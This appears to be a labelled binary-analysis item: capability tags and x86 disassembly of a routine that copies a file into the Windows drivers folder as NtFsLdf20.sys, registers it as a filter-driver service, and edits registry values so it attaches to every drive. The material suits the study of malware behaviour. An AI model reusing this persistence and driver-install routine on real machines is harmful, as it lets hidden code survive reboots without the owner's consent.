Function at 0x4022e0
Capabilities:
Check os version
Copy file
Create service
Delete file
Delete registry value
Delete service
Get common file path
Get disk information
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x7f4
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0xf9]
mov byte [esp + 0xf8], 0
mov byte [esp + 0x2fc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x2fd]
xor ebp, ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2fc]
push 0x400
push eax
push ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x20], 1
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [esp + 0x2fc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x5c]
mov esi, ecx
mov ecx, 0x27
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x5c]
mov dword [esp + 0x5c], 0x9c
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x402384
pop edi
pop esi
pop ebp
add esp, 0x7f4
ret
mov eax, dword [esp + 0x60]
cmp eax, 5
jne 0x4023a9
lea eax, [esp + esi + 0x2fc]
mov cl, 0x73
mov byte [eax - 4], 0x2e
mov byte [eax - 3], cl
mov byte [eax - 2], 0x79
mov byte [eax - 1], cl
mov byte [eax], 0
jmp 0x4023f5
cmp eax, 4
jne 0x4023f5
cmp dword [esp + 0x6c], 2
jne 0x4023f5
mov byte [esp + esi + 0x2f8], 0x5f
mov byte [esp + esi + 0x2f9], 0x34
mov byte [esp + esi + 0x2fa], 0x30
mov cl, 0x73
mov byte [esp + esi + 0x2fb], 0x2e
mov byte [esp + esi + 0x2fc], cl
mov byte [esp + esi + 0x2fd], 0x79
mov byte [esp + esi + 0x2fe], cl
mov byte [esp + esi + 0x2ff], 0
push ebx
lea edx, [esp + 0x1fc]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.driversNtFsLdf20.sys
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1fc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1fc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x1fc]
push ebp
lea edx, [esp + 0x304]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0xf003f
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, ebp
mov dword [esp + 0x24], ebx
jne 0x4024a9
push ebp
lea eax, [esp + 0x18]
push ebp
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebp
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esp + 0x18], ebp
jmp 0x40269c
mov edi, str.filter
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, edx
push ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
lea edx, [esp + 0x20c]
push ecx
push edx
push 1
push 1
push 2
push 0xf0015
push str.NtFsLdf20
push str.NtFsLdf20
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x20], ebp
jne 0x402539
push eax
push eax
lea eax, [esp + 0x1c]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebp
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esp + 0x18], ebp
jmp 0x40269c
mov edi, str.SYSTEMCurrentControlSetServices_ntfsldf20
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x700]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x700]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
xor edi, edi
push ecx
push 0xf003f
push edi
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402596
push ebp
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [esp + 0x18], edi
jmp 0x40269c
mov eax, dword [esp + 0x10]
push str.ImagePath
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x4025ba
push ebp
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [esp + 0x18], edi
jmp 0x40269c
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x1c]
push 4
push ecx
push 4
push edi
push str.MaxRecords
push edx
mov dword [esp + 0x34], 0x1f4
call esi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push 4
push eax
push 4
push edi
push str.MaxNames
push ecx
call esi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, eax
xor ebx, ebx
mov dword [esp + 0x14], ebp
mov edi, 1
mov ecx, ebx
shl edi, cl
test ebp, edi
je case.default.0x402638
lea edx, [ebx + 0x41]
lea eax, [esp + 0x40]
push edx
push str._c:_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 6
ja case.default.0x402638
jmp dword [eax*4 + 0x4026d4]
mov eax, dword [esp + 0x14]
not edi
and eax, edi
mov dword [esp + 0x14], eax
jmp case.default.0x402638
mov dl, bl
add dl, 0x41
mov byte [esp + esi + 0xfc], dl
inc esi
mov byte [esp + esi + 0xfc], 0x3a
inc esi
mov byte [esp + esi + 0xfc], 0
inc esi
inc ebx
cmp ebx, 0x20
jb 0x402604
mov ecx, dword [esp + 0x10]
mov byte [esp + esi + 0xfc], 0
inc esi
lea eax, [esp + 0xfc]
push esi
push eax
push 7
push 0
push str.Attach
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4026ab
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x4026bc
push eax
call esi
test ebx, ebx
je 0x4026c3
push ebx
call esi
mov eax, dword [esp + 0x18]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x7f4
ret